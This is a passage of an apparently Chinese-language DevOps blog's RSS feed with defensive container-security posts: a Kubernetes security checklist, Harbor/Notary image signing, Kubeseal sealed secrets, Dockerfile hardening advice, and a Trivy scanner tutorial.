&lt;li&gt;使用不同的 ServiceAccount&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Pod Security Policy&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用 PSP 不应泛泛使用 &lt;code&gt;privileged&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 PSP 谨慎控制如下授权

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hostPID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hostIPC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hostNetwork&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allowPrivilegeEscalation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsUser.rule&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NET_RAW&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;不应提供全面放行的 PSP 策略&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;网络策略和 CNI&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;支持策略的 CNI&lt;/li&gt;
&lt;li&gt;所有命名空间都定义网络策略&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Secret 管理&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;建议使用文件而非环境变量&lt;/li&gt;
&lt;li&gt;使用外部 Secret 存储&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;扩展准入控制&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;保障镜像来源&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;通用策略&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;命名空间隔离&lt;/li&gt;
&lt;li&gt;在 Docker 中启用 seccomp&lt;/li&gt;
&lt;li&gt;为 Pod 和容器启用 Security context&lt;/li&gt;
&lt;li&gt;不用缺省命名空间&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>使用 Harbor 提供可信镜像</title>
      <link>/post/content-trust-with-harbor/</link>
      <pubDate>Fri, 13 Dec 2019 10:39:08 +0800</pubDate>
      <guid>/post/content-trust-with-harbor/</guid>
      <description>

&lt;p&gt;应用上云的过程中，过了部署关和应用改造关之后，安全就是下一个大问题了。对于容器化应用来说，镜像的安全是个非常根本的问题，例如 Harbor 中集成了 Clair 组件，用于对镜像进行漏洞扫描；&lt;a href=&#34;https://blog.yamler.io/post/introducing-trivy/&#34; target=&#34;_blank&#34;&gt;之前介绍的 Trivy&lt;/a&gt; 也能够提供对镜像各层进行扫描的能力，类似的工具还有很多。在完成镜像本身的安全保障之后，一方面要把安全构建出来的镜像能够”原汁原味“的提供给运行时进行使用，同时还要对运行时环境进行约束，只允许获取和运行可靠镜像，如此才能够保证镜像供应链的完整。&lt;/p&gt;

&lt;h2 id=&#34;快速上手&#34;&gt;快速上手&lt;/h2&gt;

&lt;p&gt;Harbor 中提供了 &lt;a href=&#34;https://github.com/theupdateframework/notary&#34; target=&#34;_blank&#34;&gt;Notary&lt;/a&gt; 服务来提供了这方面的保障，Docker 17.12 之后也提供了对应的运行时支持。&lt;/p&gt;

&lt;p&gt;这里用 1.10.0 版本的 Harbor 为例，在安装命令中加入参数 &lt;code&gt;--with-notary&lt;/code&gt; 就可以启用这个服务了。启动 Harbor 之后，使用 Docker 客户端的终端设置环境变量：&lt;code&gt;export DOCKER_CONTENT_TRUST=1&lt;/code&gt;。启用 Docker 的内容信任模式。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;docker login&lt;/code&gt; 命令登录仓库，然后进行镜像推送，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker push 10.211.55.27/sign/clare:s1
The push refers to repository [10.211.55.27/sign/clare]
bbef02a499c4: Layer already exists
...
47a4bb1cfbc7: Layer already exists
s1: digest: sha256:bafc293fd765dbbad5ed3d57d771f0566e5d63a668213f1f61c469cbb199fca6 size: 1162
Signing and pushing trust metadata
You are about to create a new root signing key passphrase. This passphrase
...
Enter passphrase for new root key with ID b52c1ba:
Repeat passphrase for new root key with ID b52c1ba:
Enter passphrase for new repository key with ID c37e6d2:
Repeat passphrase for new repository key with ID c37e6d2:
Error: trust data missing for remote repository 10.211.55.27/sign/clare or remote repository not found: timestamp key trust data unavailable.  Has a notary repository been initialized?
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里多出了一个初始化过程，在我们照章输入密码之后，发现出了错，这是因为我们没有设置 Notary 服务地址，加入环境变量来解决：&lt;code&gt;export DOCKER_CONTENT_TRUST_SERVER=https://10.211.55.27:4443&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;再次推送：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker push 10.211.55.27/sign/clare:s1
The push refers to repository [10.211.55.27/sign/clare]
...
Repeat passphrase for new repository key with ID d6068a9:
Finished initializing &amp;quot;10.211.55.27/sign/clare&amp;quot;
Successfully signed 10.211.55.27/sign/clare:s1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，推送已经成功了，并且还有签署成功的反馈。查看一下他的签名信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker trust inspect 10.211.55.27/sign/clare:s1
[
    {
        &amp;quot;Name&amp;quot;: &amp;quot;10.211.55.27/sign/clare:s1&amp;quot;,
        &amp;quot;SignedTags&amp;quot;: [
            {
                &amp;quot;SignedTag&amp;quot;: &amp;quot;s1&amp;quot;,
                &amp;quot;Digest&amp;quot;: &amp;quot;bafc293fd765dbbad5ed3d57d771f0566e5d63a668213f1f61c469cbb199fca6&amp;quot;,
                &amp;quot;Signers&amp;quot;: [
                    &amp;quot;Repo Admin&amp;quot;
                ]
            }

...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果我们取消 Docker 内容信任：&lt;code&gt;unset DOCKER_CONTENT_TRUST&lt;/code&gt;。接下来推送一个新镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker push 10.211.55.27/sign/alpine:latest
The push refers to repository [10.211.55.27/sign/alpine]
77cae8ab23bf: Pushed
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次开启 Docker 内容信任开关：&lt;code&gt;export DOCKER_CONTENT_TRUST=1&lt;/code&gt;，尝试拉取：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker pull 10.211.55.27/sign/alpine:latest
Error: remote trust data does not exist for 10.211.55.27/sign/alpine: 10.211.55.27:4443 does not have trust data for 10.211.55.27/sign/alpine
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 Docker 拒绝了未经签署的镜像。&lt;/p&gt;

&lt;h2 id=&#34;幕后&#34;&gt;幕后&lt;/h2&gt;

&lt;p&gt;Docker 包含了简写为 DCT 的内容签名（Docker Content Trust）支持，能够借助 Notary 进行内容签署和校验。首次签署时会要求生成根密钥，每次创建一个新的 Repository 时候，会为其单独生成签署密钥。接下来，每个 Tag 的推送都会进行签署，从而保证内容的稳定性。&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Kubernetes 能享受到这个么？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;托管 Kubernetes 怎么办？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多镜像仓库怎么办？&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Kubeseal</title>
      <link>/post/introduce-kubeseal/</link>
      <pubDate>Wed, 24 Jul 2019 21:25:21 +0800</pubDate>
      <guid>/post/introduce-kubeseal/</guid>
      <description>

&lt;p&gt;今天更新 Homebrew 的时候，眼角余光撇到一个 kube 开头的 Formula：kubeseal，名字还挺酷的，&lt;code&gt;brew home&lt;/code&gt; 看了一下&lt;a href=&#34;https://github.com/bitnami-labs/sealed-secrets&#34; target=&#34;_blank&#34;&gt;项目主页&lt;/a&gt;，还是 &lt;a href=&#34;https://bitnami.com/&#34; target=&#34;_blank&#34;&gt;bitnami&lt;/a&gt; 的作品，就多看了下，发现是一个不明觉厉的工具，本着“来都来了”的乐观精神，写了这一篇不知所云的东西（还发现了个 Issue）。&lt;/p&gt;

&lt;p&gt;（可能也许大概差不多）有一种情况，我们需要用 YAML 的形式生成一个 Secret，但是我们希望 YAML 自身的内容是加密的，以保证传输过程中，Secret 自身的内容不会被截获，但是同时这个 YAML 还能用于生成我们需要的 Secret。&lt;/p&gt;

&lt;p&gt;Kubeseal 就可以解决这个问题，它在安装时，生成一个 TLS Secret，可以用来对 Secret 进行加密，用 CRD 的方式来进行 Secret 保存，把加密的 CRD YAML 提交到集群，Kubeseal 的服务端控制器会根据 CRD 内容进行解密，生成真正的 Secret。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;目前 Kubeseal 版本为 v0.8，安装很方便：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 服务端
$ kubectl apply -f kubectl apply -f https://github.com/bitnami-labs/sealed-secrets/releases/download/v0.8.0/controller.yaml
# 客户端（Homebrew）
$ brew install kubeseal
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装结束后，在 &lt;code&gt;kube-system&lt;/code&gt; 命名空间中，生成了 Kubeseal 的控制器，以及用于加解密的 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get secret,deploy -n kube-system | grep seal
secret/sealed-secrets-controller-token-v4gbx   kubernetes.io/service-account-token   3      6h26m
secret/sealed-secrets-keyb2tvx                 kubernetes.io/tls                     2      6h26m
secret/sealed-secrets-keyhjmbs                 kubernetes.io/tls                     2      21m
deployment.extensions/sealed-secrets-controller   1/1     1            1           6h26m
$ kubectl api-resources| grep seal
sealedsecrets                                    bitnami.com                    true         SealedSecret
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;创建一个-加密-的-secret&#34;&gt;创建一个“加密”的 Secret&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 生成 Secret 的 YAML
$ kubectl create secret generic top-secret \
&amp;gt; --dry-run --from-literal=cloud=grass -o json  &amp;gt; mario.json
# 加密
$ cat mario.json | kubeseal &amp;gt; mario-secret.json
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看新生成的 &lt;code&gt;mario-secret.json&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;kind&amp;quot;: &amp;quot;SealedSecret&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;bitnami.com/v1alpha1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;name&amp;quot;: &amp;quot;top-secret&amp;quot;,
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
    &amp;quot;creationTimestamp&amp;quot;: null
  },
  &amp;quot;spec&amp;quot;: {
    &amp;quot;template&amp;quot;: {
      &amp;quot;metadata&amp;quot;: {
        &amp;quot;name&amp;quot;: &amp;quot;top-secret&amp;quot;,
        &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
        &amp;quot;creationTimestamp&amp;quot;: null
      }
    },
    &amp;quot;encryptedData&amp;quot;: {
      &amp;quot;cloud&amp;quot;: &amp;quot;AgA89tN49OyoDn/19+QF4Qi7w5aq5v71Xvkzu9cA6mzF/QoDInq3xWnPHl6tt93yurZC0WY+XhlLYVHss3nfrkNtdR8+GSQioTiCRiy1oXnWW3ku37eJGbe7sbd3qIm/uoR/Q3Bvg138zhYfApdeI2T1ePfjDGOsqRRhwhYY5RHAJUsbCC1H0+EO/j/Cg/DmAheFbJHgHtVnHz0eEC6JOrFtLr5YpKXEgEnDIyULoj+TtGL5VXpDzDXwf5OZNvKLgOHl80WwmJWDeyjbbE0RGoPW7rcCyOwlMe/ywRaKgJqpgEm0n/v+3Wb87kd5du8cRsFWKc1ObK4UL0Gq4FMDNXI3m1rBFkeq7AEFiyKSkqlMnPQSOslMcq10hfEmUeOqiJE/GejUlvnhyix9zit83LNlzYxgWMRav+b5CI3PbxpFxAN6r+p+wfKmAMLMh7sfGsYbj5i1vvFbztCrFlGy5UzDBV4tz58mAjDUduyHAzSHkSXHTtMo5YFMk/awonpuUIbQVtGdfyLLqQlyvkcOIdCPVFiMSbRkr0ySPFXDilQp61VtY1002bu5kM6y30fKMSBhjY3ZCes6cz8RpytVszCF8fWDcJSDfI6eGBbgKkRNtm4CPRn6QZA5etgPJxry0PyCZCAmnhfcDodeZgy+bPbR4+G1YoxGq3UaTUhsf6R/nT/rvccphnIr/VrSd+/P9XgY4kZPnw==&amp;quot;
    }
  },
  &amp;quot;status&amp;quot;: {

  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把这个文件提交到集群，并查看生成的 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 看看是否生成了 secret
$ kubectl get secrets
NAME                  TYPE                                  DATA   AGE
...
top-secret            Opaque                                1      6s
# 查看 top-secret 内容
$ kubectl view-secret top-secret cloud
grass
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;备份-恢复和轮转&#34;&gt;备份、恢复和轮转&lt;/h2&gt;

&lt;p&gt;前面提到，Kubeseal 安装过程中除了生成 Deployment 之外，还生成了一个 Secret，仔细观察会看到这个 Secret 带有一个标签：&lt;code&gt;sealedsecrets.bitnami.com/sealed-secrets-key=active&lt;/code&gt;，代表这个 Secret 是正用于加密的。只要把这个 Secret 进行备份，或者复制到其它集群上，就可以用同样的密钥进行加密了。
如果把这个标签值修改为 &lt;code&gt;compromised&lt;/code&gt;，就代表这一密钥已经过期。&lt;/p&gt;

&lt;p&gt;对 Secret 进行上述的修改之后，可以删除控制器 Pod，以便生成并启用新的密钥，当然，过去生成的加密内容也不再有效，需要重新进行加密。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;看都看了，万一有人有用呢。。。。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>多数 Dockerfile 示例可能都不够严谨</title>
      <link>/post/broken-by-default/</link>
      <pubDate>Wed, 29 May 2019 13:22:44 +0800</pubDate>
      <guid>/post/broken-by-default/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://pythonspeed.com/articles/dockerizing-python-is-hard/&#34; target=&#34;_blank&#34;&gt;Broken by default: why you should avoid most Dockerfile examples&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;mailto://itamar@pythonspeed.com&#34; target=&#34;_blank&#34;&gt;Itamar Turner-Trauring&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;想把 Python 应用打包成 Docker 镜像，很自然的行为就是上网搜个例子。简单的一搜，就能得出大量简单易懂的结果。&lt;/p&gt;

&lt;p&gt;不幸的是这些简单方便的例子经常是有一些这样那样的缺陷，有的显而易见，有的可能就不那么明显了。为了发掘这些问题，本文中将要：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;用一个在 Google 搜索结果中常见的 Dockerfile 开始。&lt;/li&gt;
&lt;li&gt;展示其中的问题。&lt;/li&gt;
&lt;li&gt;给出一些修复问题的建议。&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;本文的 Docerfile 仅用于解决这里发现的问题，不能算作最佳实践。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;先天不足&#34;&gt;先天不足&lt;/h2&gt;

&lt;p&gt;看看下面的 Dockerfile，这是一个网上搜到的 Python 的容器化例子。做了一点点修改，来隐藏其出处，不过主干是一致的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;# DO NOT USE THIS DOCKERFILE AS AN EXAMPLE, IT IS BROKEN
FROM python:3

COPY yourscript.py /

RUN pip install flask

CMD [ &amp;quot;python&amp;quot;, &amp;quot;./yourscript.py&amp;quot; ]
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;这个-dockerfile-的一些问题&#34;&gt;这个 Dockerfile 的一些问题&lt;/h2&gt;

&lt;p&gt;这个镜像中你能看到什么问题？&lt;/p&gt;

&lt;h3 id=&#34;问题-1-python-版本的不确定性&#34;&gt;问题 1：Python 版本的不确定性&lt;/h3&gt;

&lt;p&gt;这里第一个需要注意的问题是，基础镜像是：&lt;code&gt;python:3&lt;/code&gt;。在编写这个文件的时候，会安装 Python 3.7，但是可能未来某一天的重新构建，可能会变成 Python 3.8。这种版本切换，可能会让这一应用完全无法运行，从而打断了产品的交付过程。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：使用 &lt;code&gt;python:3.7&lt;/code&gt; 作为基镜像。&lt;/p&gt;

&lt;h3 id=&#34;问题-2-依赖库版本的不确定性&#34;&gt;问题 2：依赖库版本的不确定性&lt;/h3&gt;

&lt;p&gt;这里的 &lt;code&gt;pip install flask&lt;/code&gt;，没有包含版本信息，所以每次重新构建，都可能升级成最新的 flask（或者 flask 的依赖，又或者 flask 的依赖的依赖）。保持兼容自然没问题，否则的话麻烦就大了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：创建 &lt;code&gt;requirements.txt&lt;/code&gt;，其中记载所有依赖的版本号，可以用 &lt;a href=&#34;https://hynek.me/articles/python-app-deps-2018/&#34; target=&#34;_blank&#34;&gt;pip-tools&lt;/a&gt; 完成这一任务。&lt;/p&gt;

&lt;h3 id=&#34;问题-3-代码的变更会让构建缓存失效&#34;&gt;问题 3：代码的变更会让构建缓存失效&lt;/h3&gt;

&lt;p&gt;Docker 的层缓存对提高构件速度很有帮助。但是如果把 &lt;code&gt;COPY&lt;/code&gt; 操作放在 &lt;code&gt;pip install&lt;/code&gt; 前面，所有后续的层就都失效了，也就是说这一镜像会完全重新构建。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：在合适的时机进行文件复制。&lt;/p&gt;

&lt;h3 id=&#34;问题-4-用-root-身份运行&#34;&gt;问题 4：用 root 身份运行&lt;/h3&gt;

&lt;p&gt;缺省情况下，Docker 容器是用 root 身份运行的，这&lt;a href=&#34;http://canihaznonprivilegedcontainers.info/&#34; target=&#34;_blank&#34;&gt;并不安全&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：如果不是有特定需要，例如监听 1024 以下的端口或者完成一些必须 root 身份的操作，建议使用非 root 账号。&lt;/p&gt;

&lt;h2 id=&#34;改良版本&#34;&gt;改良版本&lt;/h2&gt;

&lt;p&gt;为了解决上面发现的几个问题，对 Dockerfile 做出如下修改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM python:3.7

COPY requirements.txt /tmp/

RUN pip install -r /tmp/requirements.txt

RUN useradd --create-home appuser
WORKDIR /home/appuser
USER appuser

COPY yourscript.py .

CMD [ &amp;quot;python&amp;quot;, &amp;quot;./yourscript.py&amp;quot; ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样改进了之后，也并不是就适合在生产环境中运行了，这个镜像还有一些不足。&lt;/p&gt;

&lt;p&gt;例如，用一种受控的方式来对 &lt;code&gt;requirements.txt&lt;/code&gt; 进行常规更新，以便进行安全更新和 Bug 修复，可能还要&lt;a href=&#34;https://pythonspeed.com/articles/docker-cache-insecure-images/&#34; target=&#34;_blank&#34;&gt;禁用缓存对镜像进行周期性重建&lt;/a&gt;，来获取安全加固。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pythonspeed.com/articles/docker-cache-insecure-images/&#34; target=&#34;_blank&#34;&gt;https://pythonspeed.com/articles/docker-cache-insecure-images/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&#34; target=&#34;_blank&#34;&gt;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://hynek.me/articles/python-app-deps-2018/&#34; target=&#34;_blank&#34;&gt;https://hynek.me/articles/python-app-deps-2018/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>全面易用的镜像漏洞检测工具：Trivy</title>
      <link>/post/introducing-trivy/</link>
      <pubDate>Fri, 17 May 2019 20:36:33 +0800</pubDate>
      <guid>/post/introducing-trivy/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;道路千万条，安全第一条；
镜像不规范，同事两行泪。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/aquasecurity/trivy&#34; target=&#34;_blank&#34;&gt;Trivy&lt;/a&gt; 是一个面向镜像的漏洞检测工具，具备如下特点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;开源&lt;/li&gt;
&lt;li&gt;免费&lt;/li&gt;
&lt;li&gt;易用&lt;/li&gt;
&lt;li&gt;准确度高&lt;/li&gt;
&lt;li&gt;CI 友好&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;相对于老前辈 &lt;a href=&#34;https://github.com/coreos/clair&#34; target=&#34;_blank&#34;&gt;Clair&lt;/a&gt;，Trivy 的使用非常直观方便，适用于更多的场景。&lt;/p&gt;

&lt;p&gt;下面是官方出具的对比表格：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;扫描器&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;操作系统&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;依赖检测&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;适用性&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;准确度&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;CI 友好&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Trivy&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◎&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Clair&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Anchore Engine&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Quay&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;MicroScanner&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Docker Hub&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;GCR&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
&lt;p&gt;另外还提供了精确度的对比表格，但是追究下来，无非是采用的参考数据的差异。至少这并不是我看重的东西，顺手是第一要务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;macos&#34;&gt;MacOS&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ brew tap knqyf263/trivy
$ brew install knqyf263/trivy/trivy
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;rhel-centos&#34;&gt;RHEL/CentOS&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ sudo vim /etc/yum.repos.d/trivy.repo
[trivy]
name=Trivy repository
baseurl=https://knqyf263.github.io/trivy-repo/rpm/releases/$releasever/$basearch/
gpgcheck=0
enabled=1
$ sudo yum -y update
$ sudo yum -y install trivy
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;使用&#34;&gt;使用&lt;/h2&gt;

&lt;p&gt;这个工具的最大闪光点就是提供了很多适合用在自动化场景的用法。&lt;/p&gt;

&lt;h3 id=&#34;扫描镜像&#34;&gt;扫描镜像：&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy centos
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;扫描镜像文件&#34;&gt;扫描镜像文件&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ docker save ruby:2.3.0-alpine3.9 -o ruby-2.3.0.tar
$ trivy --input ruby-2.3.0.tar
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;根据严重程度进行过滤&#34;&gt;根据严重程度进行过滤&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy --severity HIGH,CRITICAL ruby:2.3.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;忽略未修复问题&#34;&gt;忽略未修复问题&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy --ignore-unfixed ruby:2.3.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;忽略特定问题&#34;&gt;忽略特定问题&lt;/h3&gt;

&lt;p&gt;使用 &lt;code&gt;.trivyignore&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ cat .trivyignore
# Accept the risk
CVE-2018-14618

# No impact in our settings
CVE-2019-1543

$ trivy python:3.4-alpine3.9
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;使用-json-输出结果&#34;&gt;使用 JSON 输出结果&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy -f json dustise/translat-chatbot:20190428-5
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;定义返回值&#34;&gt;定义返回值&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy --exit-code 0 --severity MEDIUM,HIGH ruby:2.3.0
$ trivy --exit-code 1 --severity CRITICAL ruby:2.3.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;相对于&lt;a href=&#34;https://github.com/knqyf263/trivy#comparison-with-other-scanners&#34; target=&#34;_blank&#34;&gt;其它同类工具&lt;/a&gt;，Trivy 非常适合自动化操作，从 CircleCI 之类的公有服务，到企业内部使用的 Jenkins、Gitlab 等私有工具，或者作为开发运维人员的自测环节，都有 Trivy 的用武之地。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;https://github.com/aquasecurity/trivy&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 安全设置笔记</title>
      <link>/post/istio-security-notes/</link>
      <pubDate>Mon, 11 Jun 2018 00:05:25 +0800</pubDate>
      <guid>/post/istio-security-notes/</guid>
      <description>

